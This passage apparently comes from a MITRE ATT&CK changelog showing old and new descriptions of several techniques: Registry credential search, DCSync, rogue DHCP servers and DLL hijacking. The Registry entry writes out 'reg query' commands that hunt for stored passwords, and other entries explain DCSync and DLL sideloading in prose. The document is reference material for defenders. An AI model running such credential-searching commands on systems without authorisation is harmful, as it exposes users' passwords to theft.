repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the Registry on compromised systems f | t | 1 | Adversaries may search the Registry on compromised systems f |
| > | or insecurely stored credentials. The Windows Registry store | > | or insecurely stored credentials. The Windows Registry store | ||
| > | s configuration information that can be used by the system o | > | s configuration information that can be used by the system o | ||
| > | r other programs. Adversaries may query the Registry looking | > | r other programs. Adversaries may query the Registry looking | ||
| > | for credentials and passwords that have been stored for use | > | for credentials and passwords that have been stored for use | ||
| > | by other programs or services. Sometimes these credentials | > | by other programs or services. Sometimes these credentials | ||
| > | are used for automatic logons. Example commands to find Reg | > | are used for automatic logons. Example commands to find Reg | ||
| > | istry keys related to password information: (Citation: Pente | > | istry keys related to password information:(Citation: Pentes | ||
| > | stlab Stored Credentials) * Local Machine Hive: <code>reg q | > | tlab Stored Credentials) * Local Machine Hive: <code>reg qu | ||
| > | uery HKLM /f password /t REG_SZ /s</code> * Current User Hiv | > | ery HKLM /f password /t REG_SZ /s</code> * Current User Hive | ||
| > | e: <code>reg query HKCU /f password /t REG_SZ /s</code> | > | : <code>reg query HKCU /f password /t REG_SZ /s</code> | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.624000+00:00 | 2026-11-04 00:54:40.982000+00:00 |
| description | Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)
* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s
* Current User Hive: reg query HKCU /f password /t REG_SZ /s | Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Example commands to find Registry keys related to password information:(Citation: Pentestlab Stored Credentials)
* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s
* Current User Hive: reg query HKCU /f password /t REG_SZ /s |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access credentials and other sens | t | 1 | Adversaries may attempt to access credentials and other sens |
| > | itive information by abusing a Windows Domain Controller's a | > | itive information by abusing a Windows Domain Controller's a | ||
| > | pplication programming interface (API)(Citation: Microsoft D | > | pplication programming interface (API)(Citation: Microsoft D | ||
| > | RSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: | > | RSR Dec 2017)(Citation: Microsoft GetNCCChanges)(Citation: S | ||
| > | Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate | > | amba DRSUAPI)(Citation: Wine API samlib.dll) to simulate the | ||
| > | the replication process from a remote domain controller usin | > | replication process from a remote domain controller using a | ||
| > | g a technique called DCSync. Members of the Administrators, | > | technique called DCSync. Members of the Administrators, Do | ||
| > | Domain Admins, and Enterprise Admin groups or computer acco | > | main Admins, and Enterprise Admin groups or computer account | ||
| > | unts on the domain controller are able to run DCSync to pull | > | s on the domain controller are able to run DCSync to pull pa | ||
| > | password data(Citation: ADSecurity Mimikatz DCSync) from Ac | > | ssword data(Citation: ADSecurity Mimikatz DCSync) from Activ | ||
| > | tive Directory, which may include current and historical has | > | e Directory, which may include current and historical hashes | ||
| > | hes of potentially useful accounts such as KRBTGT and Admini | > | of potentially useful accounts such as KRBTGT and Administr | ||
| > | strators. The hashes can then in turn be used to create a [G | > | ators. The hashes can then in turn be used to create a [Gold | ||
| > | olden Ticket](https://attack.mitre.org/techniques/T1558/001) | > | en Ticket](https://attack.mitre.org/techniques/T1558/001) fo | ||
| > | for use in [Pass the Ticket](https://attack.mitre.org/techn | > | r use in [Pass the Ticket](https://attack.mitre.org/techniqu | ||
| > | iques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or c | > | es/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or chan | ||
| > | hange an account's password as noted in [Account Manipulatio | > | ge an account's password as noted in [Account Manipulation]( | ||
| > | n](https://attack.mitre.org/techniques/T1098).(Citation: Ins | > | https://attack.mitre.org/techniques/T1098).(Citation: Inside | ||
| > | iderThreat ChangeNTLM July 2017) DCSync functionality has b | > | rThreat ChangeNTLM July 2017) DCSync functionality has been | ||
| > | een included in the "lsadump" module in [Mimikatz](https://a | > | included in the "lsadump" module in [Mimikatz](https://atta | ||
| > | ttack.mitre.org/software/S0002).(Citation: GitHub Mimikatz l | > | ck.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsad | ||
| > | sadump Module) Lsadump also includes NetSync, which performs | > | ump Module) Lsadump also includes NetSync, which performs DC | ||
| > | DCSync over a legacy replication protocol.(Citation: Micros | > | Sync over a legacy replication protocol.(Citation: Microsoft | ||
| > | oft NRPC Dec 2017) | > | NRPC Dec 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:36.308000+00:00 | 2026-11-04 00:13:20.464000+00:00 |
| description | Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017) | Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017)(Citation: Microsoft GetNCCChanges)(Citation: Samba DRSUAPI)(Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AdSecurity DCSync Sept 2015', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', 'url': 'https://adsecurity.org/?p=1729'} | |
| external_references | {'source_name': 'Microsoft SAMR', 'description': 'Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc245496.aspx'} | |
| external_references | {'source_name': 'Harmj0y DCSync Sept 2015', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', 'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'} |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may redirect network traffic to adversary-owned | t | 1 | Adversaries may redirect network traffic to adversary-owned |
| > | systems by spoofing Dynamic Host Configuration Protocol (DHC | > | systems by spoofing Dynamic Host Configuration Protocol (DHC | ||
| > | P) traffic and acting as a malicious DHCP server on the vict | > | P) traffic and acting as a malicious DHCP server on the vict | ||
| > | im network. By achieving the adversary-in-the-middle (AiTM) | > | im network. By achieving the adversary-in-the-middle (AiTM) | ||
| > | position, adversaries may collect network communications, in | > | position, adversaries may collect network communications, in | ||
| > | cluding passed credentials, especially those sent over insec | > | cluding passed credentials, especially those sent over insec | ||
| > | ure, unencrypted protocols. This may also enable follow-on b | > | ure, unencrypted protocols. This may also enable follow-on b | ||
| > | ehaviors such as [Network Sniffing](https://attack.mitre.org | > | ehaviors such as [Network Sniffing](https://attack.mitre.org | ||
| > | /techniques/T1040) or [Transmitted Data Manipulation](https: | > | /techniques/T1040) or [Transmitted Data Manipulation](https: | ||
| > | //attack.mitre.org/techniques/T1565/002). DHCP is based on | > | //attack.mitre.org/techniques/T1565/002). DHCP is based on | ||
| > | a client-server model and has two functionalities: a protoco | > | a client-server model and has two functionalities: a protoco | ||
| > | l for providing network configuration settings from a DHCP s | > | l for providing network configuration settings from a DHCP s | ||
| > | erver to a client and a mechanism for allocating network add | > | erver to a client and a mechanism for allocating network add | ||
| > | resses to clients.(Citation: rfc2131) The typical server-cli | > | resses to clients.(Citation: rfc2131) The typical server-cli | ||
| > | ent interaction is as follows: 1. The client broadcasts a | > | ent interaction is as follows: 1. The client broadcasts a | ||
| > | `DISCOVER` message. 2. The server responds with an `OFFER` | > | `DISCOVER` message. 2. The server responds with an `OFFER` | ||
| > | message, which includes an available network address. 3. T | > | message, which includes an available network address. 3. T | ||
| > | he client broadcasts a `REQUEST` message, which includes the | > | he client broadcasts a `REQUEST` message, which includes the | ||
| > | network address offered. 4. The server acknowledges with | > | network address offered. 4. The server acknowledges with | ||
| > | an `ACK` message and the client receives the network configu | > | an `ACK` message and the client receives the network configu | ||
| > | ration parameters. Adversaries may spoof as a rogue DHCP se | > | ration parameters. Adversaries may spoof as a rogue DHCP se | ||
| > | rver on the victim network, from which legitimate hosts may | > | rver on the victim network, from which legitimate hosts may | ||
| > | receive malicious network configurations. For example, malwa | > | receive malicious network configurations. For example, malwa | ||
| > | re can act as a DHCP server and provide adversary-owned DNS | > | re can act as a DHCP server and provide adversary-owned DNS | ||
| > | servers to the victimized computers.(Citation: new_rogue_DHC | > | servers to the victimized computers.(Citation: new_rogue_DHC | ||
| > | P_serv_malware)(Citation: w32.tidserv.g) Through the malicio | > | P_serv_malware)(Citation: w32.tidserv.g) Through the malicio | ||
| > | us network configurations, an adversary may achieve the AiTM | > | us network configurations, an adversary may achieve the AiTM | ||
| > | position, route client traffic through adversary-controlled | > | position, route client traffic through adversary-controlled | ||
| > | systems, and collect information from the client network. | > | systems, and collect information from the client network. | ||
| > | DHCPv6 clients can receive network configuration information | > | DHCPv6 clients can receive network configuration information | ||
| > | without being assigned an IP address by sending a <code>INF | > | without being assigned an IP address by sending an <code>IN | ||
| > | ORMATION-REQUEST (code 11)</code> message to the <code>All_D | > | FORMATION-REQUEST (code 11)</code> message to the <code>All_ | ||
| > | HCP_Relay_Agents_and_Servers</code> multicast address.(Citat | > | DHCP_Relay_Agents_and_Servers</code> multicast address.(Cita | ||
| > | ion: rfc3315) Adversaries may use their rogue DHCP server to | > | tion: rfc3315) Adversaries may use their rogue DHCP server t | ||
| > | respond to this request message with malicious network conf | > | o respond to this request message with malicious network con | ||
| > | igurations. Rather than establishing an AiTM position, adve | > | figurations. Rather than establishing an AiTM position, adv | ||
| > | rsaries may also abuse DHCP spoofing to perform a DHCP exhau | > | ersaries may also abuse DHCP spoofing to perform a DHCP exha | ||
| > | stion attack (i.e, [Service Exhaustion Flood](https://attack | > | ustion attack (i.e., [Service Exhaustion Flood](https://atta | ||
| > | .mitre.org/techniques/T1499/002)) by generating many broadca | > | ck.mitre.org/techniques/T1499/002)) by generating many broad | ||
| > | st DISCOVER messages to exhaust a network’s DHCP allocation | > | cast DISCOVER messages to exhaust a network’s DHCP allocatio | ||
| > | pool. | > | n pool. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:49.941000+00:00 | 2026-11-03 23:43:50.809000+00:00 |
| description | Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:
1. The client broadcasts a `DISCOVER` message.
2. The server responds with an `OFFER` message, which includes an available network address.
3. The client broadcasts a `REQUEST` message, which includes the network address offered.
4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.
Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.
DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.
Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. | Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:
1. The client broadcasts a `DISCOVER` message.
2. The server responds with an `OFFER` message, which includes an available network address.
3. The client broadcasts a `REQUEST` message, which includes the network address offered.
4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.
Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.
DHCPv6 clients can receive network configuration information without being assigned an IP address by sending an INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.
Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e., [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'dhcp_serv_op_events', 'description': 'Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)'} | |
| external_references | {'source_name': 'solution_monitor_dhcp_scopes', 'description': 'Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.', 'url': 'https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/'} |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o | t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o |
| > | rder to achieve persistence, escalate privileges, and evade | > | rder to achieve persistence, escalate privileges, and evade | ||
| > | defenses. DLLs are libraries that contain code and data that | > | defenses. DLLs are libraries that contain code and data that | ||
| > | can be simultaneously utilized by multiple programs. While | > | can be simultaneously utilized by multiple programs. While | ||
| > | DLLs are not malicious by nature, they can be abused through | > | DLLs are not malicious by nature, they can be abused through | ||
| > | mechanisms such as side-loading, hijacking search order, an | > | mechanisms such as side-loading, hijacking search order, an | ||
| > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | ||
| > | LLs are abused by adversaries include: ### DLL Sideloading | > | LLs are abused by adversaries include: ### DLL Sideloading | ||
| > | Adversaries may execute their own malicious payloads by side | > | Adversaries may execute their own malicious payloads by side | ||
| > | -loading DLLs. Side-loading involves hijacking which DLL a p | > | -loading DLLs. Side-loading involves hijacking which DLL a p | ||
| > | rogram loads by planting and then invoking a legitimate appl | > | rogram loads by planting and then invoking a legitimate appl | ||
| > | ication that executes their payload(s). Side-loading positi | > | ication that executes their payload(s). Side-loading positi | ||
| > | ons both the victim application and malicious payload(s) alo | > | ons both the victim application and malicious payload(s) alo | ||
| > | ngside each other. Adversaries likely use side-loading as a | > | ngside each other. Adversaries likely use side-loading as a | ||
| > | means of masking actions they perform under a legitimate, tr | > | means of masking actions they perform under a legitimate, tr | ||
| > | usted, and potentially elevated system or software process. | > | usted, and potentially elevated system or software process. | ||
| > | Benign executables used to side-load payloads may not be fla | > | Benign executables used to side-load payloads may not be fla | ||
| > | gged during delivery and/or execution. Adversary payloads ma | > | gged during delivery and/or execution. Adversary payloads ma | ||
| > | y also be encrypted/packed or otherwise obfuscated until loa | > | y also be encrypted/packed or otherwise obfuscated until loa | ||
| > | ded into the memory of the trusted process. Adversaries may | > | ded into the memory of the trusted process. Adversaries may | ||
| > | also side-load other packages, such as BPLs (Borland Packag | > | also side-load other packages, such as BPLs (Borland Packag | ||
| > | e Library).(Citation: kroll bpl) Adversaries may chain DLL | > | e Library).(Citation: kroll bpl) Adversaries may chain DLL | ||
| > | sideloading multiple times to fragment functionality hinderi | > | sideloading multiple times to fragment functionality hinderi | ||
| > | ng analysis. Adversaries using multiple DLL files can split | > | ng analysis. Adversaries using multiple DLL files can split | ||
| > | the loader functions across different DLLs, with a main DLL | > | the loader functions across different DLLs, with a main DLL | ||
| > | loading the separated export functions. (Citation: Virus Bul | > | loading the separated export functions.(Citation: Virus Bull | ||
| > | letin) Spreading loader functions across multiple DLLs makes | > | etin) Spreading loader functions across multiple DLLs makes | ||
| > | analysis harder, since all files must be collected to fully | > | analysis harder, since all files must be collected to fully | ||
| > | understand the malware’s behavior. Another method implemen | > | understand the malware’s behavior. Another method implement | ||
| > | ts a “loader-for-a-loader”, where a malicious DLL’s sole rol | > | s a “loader-for-a-loader”, where a malicious DLL’s sole role | ||
| > | e is to load a second DLL (or a chain of DLLs) that contain | > | is to load a second DLL (or a chain of DLLs) that contain t | ||
| > | the real payload. (Citation: Sophos) ### DLL Search Order H | > | he real payload.(Citation: Sophos) ### DLL Search Order Hij | ||
| > | ijacking Adversaries may execute their own malicious payload | > | acking Adversaries may execute their own malicious payloads | ||
| > | s by hijacking the search order that Windows uses to load DL | > | by hijacking the search order that Windows uses to load DLLs | ||
| > | Ls. This search order is a sequence of special and standard | > | . This search order is a sequence of special and standard se | ||
| > | search locations that a program checks when loading a DLL. A | > | arch locations that a program checks when loading a DLL. An | ||
| > | n adversary can plant a trojan DLL in a directory that will | > | adversary can plant a trojan DLL in a directory that will be | ||
| > | be prioritized by the DLL search order over the location of | > | prioritized by the DLL search order over the location of a | ||
| > | a legitimate library. This will cause Windows to load the ma | > | legitimate library. This will cause Windows to load the mali | ||
| > | licious DLL when it is called for by the victim program.(Cit | > | cious DLL when it is called for by the victim program.(Citat | ||
| > | ation: unit 42) ### DLL Redirection Adversaries may directl | > | ion: unit 42) ### DLL Redirection Adversaries may directly | ||
| > | y modify the search order via DLL redirection, which after b | > | modify the search order via DLL redirection, which after bei | ||
| > | eing enabled (in the Registry or via the creation of a redir | > | ng enabled (in the Registry or via the creation of a redirec | ||
| > | ection file) may cause a program to load a DLL from a differ | > | tion file) may cause a program to load a DLL from a differen | ||
| > | ent location.(Citation: Microsoft redirection)(Citation: Mic | > | t location.(Citation: Microsoft redirection)(Citation: Micro | ||
| > | rosoft - manifests/assembly) ### Phantom DLL Hijacking Adve | > | soft - manifests/assembly) ### Phantom DLL Hijacking Advers | ||
| > | rsaries may leverage phantom DLL hijacking by targeting refe | > | aries may leverage phantom DLL hijacking by targeting refere | ||
| > | rences to non-existent DLL files. They may be able to load t | > | nces to non-existent DLL files. They may be able to load the | ||
| > | heir own malicious DLL by planting it with the correct name | > | ir own malicious DLL by planting it with the correct name in | ||
| > | in the location of the missing module.(Citation: Hexacorn DL | > | the location of the missing module.(Citation: Hexacorn DLL | ||
| > | L Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Sub | > | Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Subst | ||
| > | stitution Adversaries may target existing, valid DLL files a | > | itution Adversaries may target existing, valid DLL files and | ||
| > | nd substitute them with their own malicious DLLs, planting t | > | substitute them with their own malicious DLLs, planting the | ||
| > | hem with the same name and in the same location as the valid | > | m with the same name and in the same location as the valid D | ||
| > | DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs | > | LL file.(Citation: Wietze Beukema DLL Hijacking) Programs t | ||
| > | that fall victim to DLL hijacking may appear to behave norm | > | hat fall victim to DLL hijacking may appear to behave normal | ||
| > | ally because malicious DLLs may be configured to also load t | > | ly because malicious DLLs may be configured to also load the | ||
| > | he legitimate DLLs they were meant to replace, evading defen | > | legitimate DLLs they were meant to replace, evading defense | ||
| > | ses. Remote DLL hijacking can occur when a program sets its | > | s. Remote DLL hijacking can occur when a program sets its c | ||
| > | current directory to a remote location, such as a Web share | > | urrent directory to a remote location, such as a Web share, | ||
| > | , before loading a DLL.(Citation: dll pre load owasp)(Citati | > | before loading a DLL.(Citation: dll pre load owasp)(Citation | ||
| > | on: microsoft remote preloading) If a valid DLL is configur | > | : microsoft remote preloading) If a valid DLL is configured | ||
| > | ed to run at a higher privilege level, then the adversary-co | > | to run at a higher privilege level, then the adversary-cont | ||
| > | ntrolled DLL that is loaded will also be executed at the hig | > | rolled DLL that is loaded will also be executed at the highe | ||
| > | her level. In this case, the technique could be used for pri | > | r level. In this case, the technique could be used for privi | ||
| > | vilege escalation. | > | lege escalation. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-11 19:32:27.370000+00:00 | 2026-11-04 01:04:30.088000+00:00 |
| description | Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) Specific ways DLLs are abused by adversaries include: ### DLL Sideloading Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos) ### DLL Search Order Hijacking Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) ### DLL Redirection Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) ### Phantom DLL Hijacking Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substitution Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation. | Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) Specific ways DLLs are abused by adversaries include: ### DLL Sideloading Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions.(Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.(Citation: Sophos) ### DLL Search Order Hijacking Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) ### DLL Redirection Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) ### Phantom DLL Hijacking Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substitution Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation. |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform calculations on addresses returned i | t | 1 | Adversaries may perform calculations on addresses returned i |
| > | n DNS results to determine which port and IP address to use | > | n DNS results to determine which port and IP address to use | ||
| > | for command and control, rather than relying on a predetermi | > | for command and control, rather than relying on a predetermi | ||
| > | ned port number or the actual returned IP address. A IP and/ | > | ned port number or the actual returned IP address. An IP and | ||
